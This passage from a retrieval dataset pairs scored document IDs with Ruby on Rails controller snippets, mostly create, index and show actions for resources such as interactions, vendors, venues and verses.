obs_archetypes.collect do |archetype|\n obs, _child_obs = service.create_observation(encounter, archetype.permit!)\n obs\n end\n\n render json: observations, status: :created\n end", "title": "" }, { "docid": "1da660ab9755440f437171c08bb711da", "score": "0.51560205", "text": "def create\n\t\t@interaction = Interaction.new(interaction_params)\n\n\t\trespond_to do |format|\n\t\t\tif @interaction.save\n\t\t\t\tformat.html { redirect_to @interaction, notice: 'Interaction was successfully created.' }\n\t\t\t\tformat.json { render :show, status: :created, location: @interaction }\n\t\t\telse\n\t\t\t\tformat.html { render :new }\n\t\t\t\tformat.json { render json: @interaction.errors, status: :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend", "title": "" }, { "docid": "d82e65d520b4a6c090cc9661bfd0419a", "score": "0.51445276", "text": "def create\n @api_v1_mentoring_request_interest = Api::V1::MentoringRequestInterest.new(api_v1_mentoring_request_interest_params)\n\n respond_to do |format|\n if @api_v1_mentoring_request_interest.save\n format.html { redirect_to @api_v1_mentoring_request_interest, notice: 'Mentoring request interest was successfully created.' }\n format.json { render :show, status: :created, location: @api_v1_mentoring_request_interest }\n else\n format.html { render :new }\n format.json { render json: @api_v1_mentoring_request_interest.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "6ffe36607905b09c8a764f26e8ce2ea1", "score": "0.5144517", "text": "def create\n @interest = the_person.interests.build(interest_params)\n\n respond_to do |format|\n if @interest.save\n format.html { redirect_to user_person_path(the_user, the_person), notice: 'Interest was successfully created.' }\n format.json { render user_person_path(the_user, the_person), status: :created, location: @interest }\n else\n format.html { render new_user_person_interest_path(the_user, the_person) }\n format.json { render json: @interest.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "6230d7a20d3f19d9394edd0f2c382bca", "score": "0.5143662", "text": "def create\n @rider = @insurance.riders.new(rider_params)\n\n respond_to do |format|\n if @rider.save\n # Deep clone coverage in the reference rider\n if rider_params[:reference_id] != \"\"\n reference_rider = Rider.find_by_id(rider_params[:reference_id])\n if reference_rider\n reference_rider.coverages.each do |coverage| \n @rider.coverages << Coverage.new(name: coverage.name, description: coverage.description,\n assured_amount: coverage.assured_amount, description: coverage.category,\n premium_amount: coverage.premium_amount,\n premium_unit: coverage.premium_unit, coverage_unit: coverage.coverage_unit,\n coverage_end_at: coverage.coverage_end_at)\n end\n end\n end\n format.json { render :show, status: :created, location: api_v1_insurance_rider_url(@rider.insurance, @rider) }\n else\n format.json { render json: @rider.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "800af807b3f1f96a200bc0b643125c68", "score": "0.5141979", "text": "def create\n name = Faker::Games::Pokemon.name\n species = [\"Mewto\", \"Mew\", \"Pikachu\", \"Bulbasaur\", \"Snorlax\", \"Charizard\", \"Weedle\", \"Ekans\", \"Persian\", \"Zubat\", \"Arcanine\"].sample\n pokemon = Pokemon.create(nickname: name, species: species, trainer_id: params[:trainer_id])\n render json: pokemon, except: [:created_at, :updated_at]\n end", "title": "" }, { "docid": "5a8ff044ef37faf118f76fe638c470db", "score": "0.5141906", "text": "def create\n @innovator = Innovator.new(innovator_params)\n\n respond_to do |format|\n if @innovator.save\n format.html { redirect_to @innovator, notice: 'Innovator was successfully created.' }\n format.json { render :show, status: :created, location: @innovator }\n else\n format.html { render :new }\n format.json { render json: @innovator.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "dbe22e1a3e2a9684597dac98d5a74a05", "score": "0.5140014", "text": "def create\n @trophic_interaction = TrophicInteraction.new(params[:trophic_interaction])\n\n respond_to do |format|\n if @trophic_interaction.save\n format.html { redirect_to @trophic_interaction, notice: 'Trophic interaction was successfully created.' }\n format.json { render json: @trophic_interaction, status: :created, location: @trophic_interaction }\n else\n format.html { render action: \"new\" }\n format.json { render json: @trophic_interaction.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "1d48aacb521b4c13a3adc5865ef6b4e4", "score": "0.5138476", "text": "def add_interactions\r\n\t\t@p = params[:interaction]\r\n\t\tif @p[:interactionname] == \"trophic\"\r\n\t\t\t@interaction = TrophicInteraction.new();\r\n\t\t\t@interaction.stage_1_id = Stage.where(:node_id => @p[:node_id1], :name => @p[:name1]).first.id\r\n\t\t\t@interaction.stage_2_id = Stage.where(:node_id => @p[:node_id2], :name => @p[:name2]).first.id\r\n\t\t\tnewinteraction = !TrophicInteraction.where(:stage_1_id => @interaction.stage_1_id,:stage_2_id => @interaction.stage_2_id ).exists?\r\n\t\telsif @p[:interactionname] == \"competition\"\r\n\t\t\t@interaction = CompetitionInteraction.new();\r\n\t\t\t@interaction.stage_1_id = Stage.where(:node_id => @p[:node_id1], :name => @p[:name1]).first.id\r\n\t\t\t@interaction.stage_2_id = Stage.where(:node_id => @p[:node_id2], :name => @p[:name2]).first.id\r\n\t\t\tnewinteraction = !CompetitionInteraction.where(:stage_1_id => @interaction.stage_1_id,:stage_2_id => @interaction.stage_2_id ).exists?\r\n\t\telsif @p[:interactionname] == \"facilitation\"\r\n\t\t\t@interaction = FacilitationInteraction.new();\r\n\t\t\t@interaction.stage_1_id = Stage.where(:node_id => @p[:node_id1], :name => @p[:name1]).first.id\r\n\t\t\t@interaction.stage_2_id = Stage.where(:node_id => @p[:node_id2], :name => @p[:name2]).first.id\r\n\t\t\tnewinteraction = !FacilitationInteraction.where(:stage_1_id => @interaction.stage_1_id,:stage_2_id => @interaction.stage_2_id ).exists?\r\n\t\telsif @p[:interactionname] == \"parasitic\"\r\n\t\t\t@interaction = ParasiticInteraction.nesw();\r\n\t\t\t@interaction.stage_1_id = Stage.where(:node_id => @p[:node_id1], :name => @p[:name1]).first.id\r\n\t\t\t@interaction.stage_2_id = Stage.where(:node_id => @p[:node_id2], :name => @p[:name2]).first.id\r\n\t\t\tnewinteraction = !ParasiticInteraction.where(:stage_1_id => @interaction.stage_1_id,:stage_2_id => @interaction.stage_2_id ).exists?\r\n\t\tend\r\n\t\t\r\n\t\tif newinteraction == true\r\n\t\t\t@interaction.project_id = current_user.project_id\r\n\t\t\t@interaction.user_id = current_user.id\r\n\t\t\t@interaction.approved = true\r\n\t\t\t@interaction.mod = true\r\n\t\t\trespond_to do |format|\r\n\t\t\t\tif @interaction.save\r\n\t\t\t\t\tformat.html { redirect_to :back, notice: 'Stage was successfully created.' }\r\n\t\t\t\t\tformat.json { render json: @interaction, status: :created, location: @interaction }\r\n\t\t\t\tend\r\n\t\t\tend\r\n\t\telse\r\n\t\t\trender :json => [false]\r\n\t\tend\r\n\tend", "title": "" }, { "docid": "cf02eca72970d1482bf8e2902f84ff63", "score": "0.51364565", "text": "def create\n @indice = Indice.new(indice_params)\n\n respond_to do |format|\n if @indice.save\n format.html { redirect_to @indice, notice: 'Indice was successfully created.' }\n format.json { render :show, status: :created, location: @indice }\n else\n format.html { render :new }\n format.json { render json: @indice.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f2963a40842f59efba46bd811d500050", "score": "0.5132841", "text": "def create\n @inspections_neurologist = Inspections::Neurologist.new(params[:inspections_neurologist])\n\n respond_to do |format|\n if @inspections_neurologist.save\n format.html { redirect_to @inspections_neurologist, notice: 'Neurologist was successfully created.' }\n format.json { render json: @inspections_neurologist, status: :created, location: @inspections_neurologist }\n else\n format.html { render action: \"new\" }\n format.json { render json: @inspections_neurologist.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "654ccb39a4d4e8cf88cba7348487454c", "score": "0.51319975", "text": "def create\n @committee = Committee.find(params[:committee_id])\n @instalment = @committee.instalments.create(instalment_params)\n\n respond_to do |format|\n if @instalment\n format.json { render json: @instalment.to_json, status: :created}\n else\n format.json { render json: @instalment.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b86af03878e217aac81a695d8ff44c79", "score": "0.51317656", "text": "def create\n @opinion = @replied.opinions.build(opinion_params)\n\n respond_to do |format|\n if @opinion.save\n format.json { render json: @opinion }\n else\n format.json { render json: @opinion.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "4c1c0f88eda26c0df9d8ef8881baeee6", "score": "0.5129048", "text": "def create\n @invader = Invader.new(invader_params.merge!(users_id: current_user.id, credibility: '500', username: current_user.user_name))\n\n respond_to do |format|\n if @invader.save\n format.html { redirect_to @invader, notice: 'Invader was successfully created.' }\n format.json { render :show, status: :created, location: @invader }\n else\n format.html { render :new }\n format.json { render json: @invader.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "0f59fcc8ddc554b8f057a9e8d201c1a7", "score": "0.51274854", "text": "def create\n @surgeon = Surgeon.new(surgeon_params)\n\n respond_to do |format|\n if @surgeon.save\n format.html { redirect_to @surgeon, notice: 'Surgeon was successfully created.' }\n format.json { render :show, status: :created, location: @surgeon }\n else\n format.html { render :new }\n format.json { render json: @surgeon.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "9c91103d55f0d2b004bdc2175477c85b", "score": "0.5127001", "text": "def create\n @interview = Interview.add_interview(params, @current_user)\n render :interview, :layout => false\n end", "title": "" }, { "docid": "57af65c273ada983530e520b488a299f", "score": "0.5125966", "text": "def create\n # @curriculum = Curriculum.new\n address = CandidateAddress.create(params_address)\n personal = CandidatePersonal.create(params_personal)\n @curriculum = Curriculum.new(params_curriculum)\n @curriculum.candidate_personal = personal\n @curriculum.candidate_address = address\n if params[:curriculum][:jobs]\n ind = 0\n params[:curriculum][:jobs].size.times do\n @new_job = Job.create(start: params[:curriculum][:jobs][ind][:start], end:\n params[:curriculum][:jobs][ind][:end], name: params[:curriculum][:jobs][ind][:name])\n @curriculum.jobs.push(@new_job)\n ind += 1\n end\n end\n token = info_current_user\n @curriculum.user_id = token[0]['user_id']\n\n if @curriculum.save\n render json: { header: @curriculum, pastJobs: @curriculum.jobs, address: @curriculum.candidate_address, personal: @curriculum.candidate_personal }\n else\n render json: { message: @curriculum.errors.full_messages }\n end\n end", "title": "" }, { "docid": "59e1e39d0ba0b5702dd6a252213b19ae", "score": "0.51209503", "text": "def new\n @outdoor = Outdoor.new\n 5.times { @outdoor.foto_outdoors.build }\n respond_with @outdoor\n end", "title": "" }, { "docid": "5aed107fb688c94e2c0359c3712f1c13", "score": "0.51192313", "text": "def create\n @entrepreneur = Entrepreneur.new(entrepreneur_params)\n\n respond_to do |format|\n if @entrepreneur.save\n format.html { redirect_to @entrepreneur, notice: 'Entrepreneur was successfully created.' }\n format.json { render :show, status: :created, location: @entrepreneur }\n else\n format.html { render :new }\n format.json { render json: @entrepreneur.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7e5778c408d9e4e0efd37de3a05915df", "score": "0.5118552", "text": "def create\n # @trip = Trip.create!(params[:trip])\n # flash[:notice] = \"Your trip was successfully created.\"\n # redirect_to \"/\"\n\n @trip = Trip.new(params[:trip])\n river_name = params[:river][\"name\"]\n river = River.find_by_name(river_name) \n @trip.river_id = river.id\n @trip.save\n # redirect_to river_trip_path(@trip.river_id, @trip.id), notice: 'Trip was successfully created.' \n\n # @river = River.find(params[:river_id])\n # @trip = @river.trips.build(params[:trip])\n # if @trip.save\n\n # end\n\n respond_to do |format|\n if @trip.save\n format.html { redirect_to river_trip_path(@trip.river_id, @trip.id), notice: 'Trip was successfully created.' }\n format.json { render json: river_trip_path(@trip.river_id, @trip.id), status: :created, location: river_trip_path(@trip.river_id, @trip.id)}\n else\n format.html { render action: \"new\" }\n format.json { render json: @trip.errors, status: :unprocessable_entity }\n end\n end \n\n end", "title": "" }, { "docid": "af11be87f0ee5c08a87a1bd06275b47e", "score": "0.5116075", "text": "def create\n @violator = Violator.new(params[:violator])\n\n respond_to do |format|\n if @violator.save\n format.html { redirect_to @violator, notice: 'Violator was successfully created.' }\n format.json { render json: @violator, status: :created, location: @violator }\n else\n format.html { render action: \"new\" }\n format.json { render json: @violator.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" } ]
81650408be19557acbe6ba6cea8d40d4
GET /vendedores GET /vendedores.xml
[ { "docid": "8aee765fdf7ee21f96dc06086d22067d", "score": "0.563117", "text": "def index\n @vendedores = Vendedor.paginate :per_page=>\"5\", :page=>params[:page], :order=>\"nome ASC\"\n @vendedor = Vendedor.new\n end", "title": "" } ]
[ { "docid": "79785c4549a07c7d7031c3a5904325f9", "score": "0.70442665", "text": "def index\n @vendedores = Vendedor.all\n end", "title": "" }, { "docid": "d2e41f93158703ab754a55921bd305a8", "score": "0.66282666", "text": "def index\n @ventes = Vente.find_by_saison(:all)\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @ventes }\n end\n end", "title": "" }, { "docid": "5498b4b133f69b03886e0ca7d637d30c", "score": "0.65937734", "text": "def venues\n get(\"venues/venues.xml\").body\n end", "title": "" }, { "docid": "c46c82b94a8645f5a2c0659c30bd9fcd", "score": "0.6515431", "text": "def show\n @vendedor = Vendedor.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @vendedor }\n end\n end", "title": "" }, { "docid": "19bdd31c5444a9d1b5e79b8a9de5a5e5", "score": "0.6429663", "text": "def show\n @vendedor = Vendedor.find(params[:id])\n render :action=>\"index\"\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @vendedor }\n end\n end", "title": "" }, { "docid": "cd8ec4aa79a42602837b8612f4ce45b7", "score": "0.64246094", "text": "def index\n @vods = Vod.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @vods }\n end\n end", "title": "" }, { "docid": "bc59278885dbfc75937faa1c206ff4eb", "score": "0.6269581", "text": "def index\n @ev_owners = EvOwner.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @ev_owners }\n end\n end", "title": "" }, { "docid": "c3617e45c527ed16b34c52aa67f87b2f", "score": "0.61831224", "text": "def index\n #@vendas = Venda.find(:all)\n @vendas = logged_in_user.vendas\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @vendas }\n end\n end", "title": "" }, { "docid": "bdcf8ff3f8a711a30ee85d8bcfe5ebb2", "score": "0.6180612", "text": "def index \n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @venues }\n end\n end", "title": "" }, { "docid": "81206d8a1ca440251617f86736b2124a", "score": "0.6160592", "text": "def show\n @vendedores_ranking = VendedoresRanking.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @vendedores_ranking }\n end\n end", "title": "" }, { "docid": "bbb7684e3c2b2fe35596c3b2760bd386", "score": "0.6121174", "text": "def index\n authenticate_admin!\n @venues = Venue.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @venues }\n end\n end", "title": "" }, { "docid": "afe7d6de87591ed4957b443a255527d4", "score": "0.61003214", "text": "def show\n @vente = Vente.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @vente }\n end\n end", "title": "" }, { "docid": "07389f1927a27176c9258c2af3e95186", "score": "0.60848075", "text": "def index\n @venues = Venue.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @venues }\n end\n end", "title": "" }, { "docid": "07389f1927a27176c9258c2af3e95186", "score": "0.60848075", "text": "def index\n @venues = Venue.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @venues }\n end\n end", "title": "" }, { "docid": "904f2b6a63cc0aafb64bb06b38d5c021", "score": "0.60806656", "text": "def show\n @verse = Verse.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @verse }\n end\n end", "title": "" }, { "docid": "27e04154c5db1568066583691b3c47fc", "score": "0.60650957", "text": "def index\n @autorizacions = Pedido.get_pedidos_sin_autorizacion()\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @autorizacions }\n end\n end", "title": "" }, { "docid": "68de915fc68cc7960d39365a207cc3ec", "score": "0.6053612", "text": "def index\n @verses = Verse.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @verses }\n end\n end", "title": "" }, { "docid": "d6c209420bb552b2810010d82fdfc318", "score": "0.6030488", "text": "def index\n @vod_files = VodFile.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @vod_files }\n end\n end", "title": "" }, { "docid": "fb3979c25ab4b9f019bfdc2f6b614366", "score": "0.6009923", "text": "def index\n @ventes = Vente.all\n end", "title": "" }, { "docid": "e018040d304ce44f17dea507d7977074", "score": "0.59969646", "text": "def index\n #@revenders = Revender.all\n @revenders = Revender.find([client_id = current_client.id])\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @revenders }\n end\n end", "title": "" }, { "docid": "0149ad6e365de85d85a743dc9bb2c756", "score": "0.5981381", "text": "def index\t\n\t\t@vocs = Voc.find(:all)\t\t \t \t\t\n\t\trespond_to do |format|\n\t\t\tformat.html # index.html.erb\n\t\t\tformat.xml { render :xml => @vocs }\n\t\tend\n\tend", "title": "" }, { "docid": "1f8548f6fc8d50247b6eed7042fda534", "score": "0.5980867", "text": "def index\n @target_regions = TargetRegion.curr_ver.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @target_regions }\n end\n end", "title": "" }, { "docid": "49e92f85297d545d3126d55757c4b1b3", "score": "0.5979023", "text": "def index\n @pravins = Pravin.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @pravins }\n end\n end", "title": "" }, { "docid": "4f70b30b11cd6d3a074031647b28dbda", "score": "0.59460044", "text": "def show\n @revista = Revista.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @revista }\n end\n end", "title": "" }, { "docid": "1e16761f6f52096ee8a883f9e4dd0d67", "score": "0.589281", "text": "def index\n @versions = Version.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @versions }\n end\n end", "title": "" }, { "docid": "5a9b3676b2b27b1ede9f3e1f47df5b0e", "score": "0.589166", "text": "def index\n @rendez_vous = RendezVou.all\n end", "title": "" }, { "docid": "615520d2562605a94edd3245f9826e4d", "score": "0.5885508", "text": "def index\n @vacaciones = Vacacion.all\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @vacaciones }\n end\n end", "title": "" }, { "docid": "7f55ab152fad7456da42dac94ce2e6bf", "score": "0.58749855", "text": "def index\n retrieve_vtodos\n\n respond_to do |format|\n format.html # index.html.erb\n format.rdf { render :xml => ICAL::Vtodo.to_xml }\n end\n end", "title": "" }, { "docid": "d6a879df85abc965945f045bb2476ecc", "score": "0.5849633", "text": "def larves\n self.class.get('/monstre_larve.json')\n end", "title": "" }, { "docid": "f3ac5240b334327fcf7de3543a1e2e81", "score": "0.58485895", "text": "def index\n v = params[:id]\n @veiculo = Veiculo.find(v)\n @veiculo_rastreadores = VeiculoRastreador.where('veiculo_id=?',@veiculo.id)\n end", "title": "" }, { "docid": "2a9d04f1492fd56e968a1ed778227976", "score": "0.5841483", "text": "def index\n @asesorias = usuario_actual.profesor.asesorias.all\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @asesorias }\n end\n end", "title": "" }, { "docid": "617eaf368837dc58a8595797b771daf5", "score": "0.58122265", "text": "def index\n @lunar_releases = LunarRelease.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @lunar_releases }\n end\n end", "title": "" }, { "docid": "dd0e4c1219227328fa11e27e82c3d5ef", "score": "0.5807242", "text": "def download_xml\n\t\turi = URI.parse(\"http://www.esmadrid.com/opendata/restaurantes_v1_es.xml\")\n\t\tresponse = Net::HTTP.get_response(uri)\n\t\tcontent = response.body\n\n\t\txml = REXML::Document.new(content)\n\n\t\treturn xml\n\tend", "title": "" }, { "docid": "be510adb4d10a16f17da28fbc4cf3d09", "score": "0.5780958", "text": "def index\n @ordems = Ordem.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @ordems }\n end\n end", "title": "" }, { "docid": "1f16d83a31b57525e3c10a229a24d9bc", "score": "0.5766983", "text": "def index\n @vehiculoshorarios = Vehiculoshorario.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @vehiculoshorarios }\n end\n end", "title": "" }, { "docid": "15b73baa6bfe212c64691186d8f9ec9c", "score": "0.576602", "text": "def index\n @rendezvous = Rendezvou.all\n end", "title": "" }, { "docid": "80e372c3a796a8c229164cc6929d851e", "score": "0.576484", "text": "def show\n @ev_owner = EvOwner.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @ev_owner }\n end\n end", "title": "" }, { "docid": "69b35f89182e222ac02dffd433183e23", "score": "0.57632655", "text": "def index\n @rsvps = Rsvp.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @rsvps }\n end\n end", "title": "" }, { "docid": "08eab574a3c9a42139b69fbe490130ef", "score": "0.5751265", "text": "def index\n @existencias = Existencia.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @existencias }\n end\n end", "title": "" }, { "docid": "a934c87485f294fde224fd271903f45b", "score": "0.5737281", "text": "def destroy\n @vendedor = Vendedor.find(params[:id])\n @vendedor.destroy\n\n respond_to do |format|\n format.html { redirect_to(vendedores_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "322e271495f64447700c72d52c55a943", "score": "0.57122374", "text": "def index\n @vendors = Vendor.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @vendors }\n end\n end", "title": "" }, { "docid": "a371b6e84f6f0b9a0ba1a275a4fb5f1f", "score": "0.5705872", "text": "def show\n @revender = Revender.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @revender }\n end\n end", "title": "" }, { "docid": "a371b6e84f6f0b9a0ba1a275a4fb5f1f", "score": "0.5705872", "text": "def show\n @revender = Revender.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @revender }\n end\n end", "title": "" }, { "docid": "c463743755c1dd0153c306f281845791", "score": "0.56970805", "text": "def show\n @valorizacionesobra = Valorizacionesobra.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @valorizacionesobra }\n end\n end", "title": "" }, { "docid": "6fc556cfbfaf00bfe4a348b1e4082ee3", "score": "0.56966585", "text": "def index\n @elevens = Eleven.all\n end", "title": "" }, { "docid": "3b7070638829fbec806240f89c591945", "score": "0.5693389", "text": "def index\n @veereshes = Veeresh.all\n end", "title": "" }, { "docid": "bc4407a0a17e48a5a9800f61589f93c4", "score": "0.56922424", "text": "def show\n @ouve = Ouve.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @ouve }\n end\n end", "title": "" }, { "docid": "964d2d5b62790e5e22b40ef2b67b12ec", "score": "0.56887954", "text": "def show\n @enclave = Enclave.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @enclave }\n end\n end", "title": "" }, { "docid": "2294e5814164e41b2e8979d7c3d67a3d", "score": "0.56860954", "text": "def index\n @vehiculos = Vehiculo.all\n \n cadena = getvehiculos(@vehiculos) \n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => cadena }\n end\n end", "title": "" }, { "docid": "326309e202f5f2f350a74ed853767083", "score": "0.5682747", "text": "def index\n @rollovers = Rollover.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @rollovers }\n end\n end", "title": "" }, { "docid": "17e7efe14649dec04b75951e36dc89ea", "score": "0.5680472", "text": "def index\n @em_aberto = Edital.em_aberto\n @recentemente_finalizados = Edital.recentemente_finalizados\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @em_aberto }\n end\n end", "title": "" }, { "docid": "1d391529deb9356d059f73864b67210d", "score": "0.56746334", "text": "def show\n @vod = Vod.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @vod }\n end\n end", "title": "" }, { "docid": "1eb152d72a06d1cfd11d221199665889", "score": "0.56677073", "text": "def index\n @gas_vendors = current_user.gas_vendors\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @gas_vendors }\n end\n end", "title": "" }, { "docid": "f7a78983216fb86adfe18a194a3e8c49", "score": "0.5659215", "text": "def show\n @livro = Livro.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render xml: @livro }\n end\n end", "title": "" }, { "docid": "feb096a4259061f424dc1b5d5d8dcc3a", "score": "0.565657", "text": "def index\n @invites = Invite.all\n\n respond_to do |format|\n format.html\n format.xml { render xml: @invites }\n end\n end", "title": "" }, { "docid": "2ecc7c71a2b6852a3c0f8a3f0930179e", "score": "0.565545", "text": "def index\n respond_to do |format|\n format.html # index.html.erb\n format.xml {\n config_versions = ConfigVersion.find(:all)\n render :xml => config_versions\n }\n end\n end", "title": "" }, { "docid": "6733a3410b4379c9502bc387b0a96726", "score": "0.5650853", "text": "def show\n @vencimento = Vencimento.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @vencimento }\n end\n end", "title": "" }, { "docid": "262b78e529bc54af88232a1489bf9a73", "score": "0.5650304", "text": "def index\n @vinos = Vino.all\n end", "title": "" }, { "docid": "262b78e529bc54af88232a1489bf9a73", "score": "0.5650304", "text": "def index\n @vinos = Vino.all\n end", "title": "" }, { "docid": "323ace5243591a1357d600f04440dc45", "score": "0.56444174", "text": "def show\n @vereador = Vereador.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @vereador }\n end\n end", "title": "" }, { "docid": "5eba103eedf6b6cccef70841d02d49ff", "score": "0.56354886", "text": "def index\n @estado_despachos = EstadoDespacho.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @estado_despachos }\n end\n end", "title": "" }, { "docid": "21d6eae31bf57f65862e268c5229f7d5", "score": "0.56166553", "text": "def index\n @convidados = Convidado.find_all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @convidados }\n end\n end", "title": "" }, { "docid": "da60072e18c6180c185bb24257e62544", "score": "0.56157047", "text": "def index\n @respuesta_vs = RespuestaV.all\n end", "title": "" }, { "docid": "b407776794ba72d111b1eee3e06595a8", "score": "0.5614807", "text": "def get_voeis_sites\n @site = \"\"\n @site = Voeis::Site.all()\n respond_to do |format|\n format_response(@site, format)\n end\n end", "title": "" }, { "docid": "9ccf2ee90be741adb39e189afa4496bf", "score": "0.5611915", "text": "def show\n @vocentry = Vocentry.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @vocentry }\n end\n end", "title": "" }, { "docid": "b983db6f7bfaaa7b0d2cfc62f1152758", "score": "0.5604488", "text": "def index\n @vinos = Vino.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @vinos }\n end\n end", "title": "" }, { "docid": "8b493039fac1cc57211a87175b5fd74b", "score": "0.56041163", "text": "def index\n @veiculos = Veiculo.all\n end", "title": "" }, { "docid": "8b493039fac1cc57211a87175b5fd74b", "score": "0.56041163", "text": "def index\n @veiculos = Veiculo.all\n end", "title": "" }, { "docid": "64b749d35dc1b381d07889387ced936f", "score": "0.5603396", "text": "def index\n @clientes = Cliente.find(:all, :conditions => [\"master_id = ?\", current_user.master_id])\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @clientes }\n end\n end", "title": "" }, { "docid": "400c381bae71923bcb71c44ab448a449", "score": "0.55993706", "text": "def show\n @registro_de_voto = RegistroDeVoto.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @registro_de_voto }\n end\n end", "title": "" }, { "docid": "de36cfde52e0d2a435266df7edf41a68", "score": "0.55976415", "text": "def index\n @eveents = Eveent.all\n end", "title": "" }, { "docid": "f651177429b68f7d8c571c6c829770aa", "score": "0.5596585", "text": "def index\n @enologo_vinos = EnologoVino.all\n end", "title": "" }, { "docid": "656886a2a0662e03bf364cafeb86e6f2", "score": "0.55950195", "text": "def new\n @vendedor = Vendedor.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @vendedor }\n end\n end", "title": "" }, { "docid": "656886a2a0662e03bf364cafeb86e6f2", "score": "0.55950195", "text": "def new\n @vendedor = Vendedor.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @vendedor }\n end\n end", "title": "" }, { "docid": "2a063cd999c8ef77e54bf8f1b3bc243f", "score": "0.5593257", "text": "def show\n @verano_acceso = VeranoAcceso.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @verano_acceso }\n end\n end", "title": "" }, { "docid": "8a507efb60ed0763d9e666cb478569c5", "score": "0.55927855", "text": "def show\n @vtodo = ICAL::Vtodo.find_by_id(params[:id])\n respond_to do |format|\n logger.info(\"Vtodos.show vtodo: #{@vtodo} format: #{format}\")\n format.html # show.html.erb\n format.xml { render :xml => @vtodo }\n format.rdf { render :xml => @vtodo }\n end\n end", "title": "" }, { "docid": "2751f2d5c16906530fd75dee1a335702", "score": "0.5590434", "text": "def index\n @solicituds = Solicitud.all\n @vendedor = Usuario.first \n end", "title": "" }, { "docid": "1af3b7b81a1badbc7d9ff32eba2a3030", "score": "0.5590248", "text": "def download_xml\r\n\t\turi = URI.parse(\"http://www.esmadrid.com/opendata/alojamientos_v1_es.xml\")\r\n\t\tresponse = Net::HTTP.get_response(uri)\r\n\t\tcontent = response.body\r\n\r\n\t\txml = REXML::Document.new(content)\r\n\r\n\t\treturn xml\r\n\tend", "title": "" }, { "docid": "11e92c9b11b692169b0fc2b2bf3f31be", "score": "0.55894804", "text": "def index\n @objetivo_negocios 